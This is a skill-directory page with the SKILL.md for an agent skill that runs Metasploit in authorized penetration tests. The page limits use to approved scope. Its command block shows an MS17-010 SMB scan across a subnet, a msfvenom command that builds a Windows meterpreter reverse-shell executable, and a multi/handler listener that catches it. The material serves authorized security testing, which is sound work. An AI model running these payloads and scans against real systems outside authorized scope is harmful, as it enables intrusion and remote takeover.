# Metasploit Framework

> Use for controlled auxiliary scanning, exploit research, and narrowly bounded validation during authorized pentests. Trigger on approved module-driven checks, repeatable proof paths, and situations where a framework-managed workflow is safer than ad hoc execution.

- Skill: `timsonner/metasploit-framework` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/metasploit-framework`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/metasploit-framework/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/metasploit-framework

---


# Metasploit Framework

## Purpose

Use this skill only when the rules of engagement explicitly permit framework-managed auxiliary or exploit validation.

## Phase Fit

- Primary: Validation and Controlled Impact Demonstration
- Secondary: Vulnerability Analysis, Retest and Closure

## Use When

- Need a controlled auxiliary or exploit workflow for an approved target.
- Need repeatable framework-managed evidence collection.
- Need a narrowly bounded retest for a previously confirmed issue.

## Avoid When

- Module choice or impact level is unclear.
- The engagement does not explicitly permit exploit-framework use.

## Inputs

- Approved target scope
- Exact module or objective
- Stop conditions and impact ceiling

## Procedure

1. Start with search and auxiliary modules when possible.
2. Use only the module needed for the specific approved hypothesis.
3. Keep target scope minimal and evidence focused.
4. Stop once the issue is confirmed to the approved standard.
5. Preserve the exact module path and options for retest.

## Command Syntax

Keep usage tightly bounded to the approved module and target scope.

```bash
# Launch console
msfconsole

# Non-interactive search and exit
msfconsole -q -x 'search type:auxiliary smb; exit'

# Inside msfconsole:
# Search for a module
msf6 > search type:exploit platform:windows smb

# Use, configure, and run a module
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(smb_ms17_010) > run

# Generate a payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f exe -o contoso-payload.exe

# Start a listener
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.1
msf6 > set LPORT 4444
msf6 > run
```

## Evidence to Capture

- Exact module and target scope used
- Minimal proof path needed for the validated issue
- Preconditions and guardrails required for safe retest

## Safety Boundaries

- Use only explicitly approved modules and targets.
- Avoid persistence, broad automation, or destructive actions unless separately authorized.

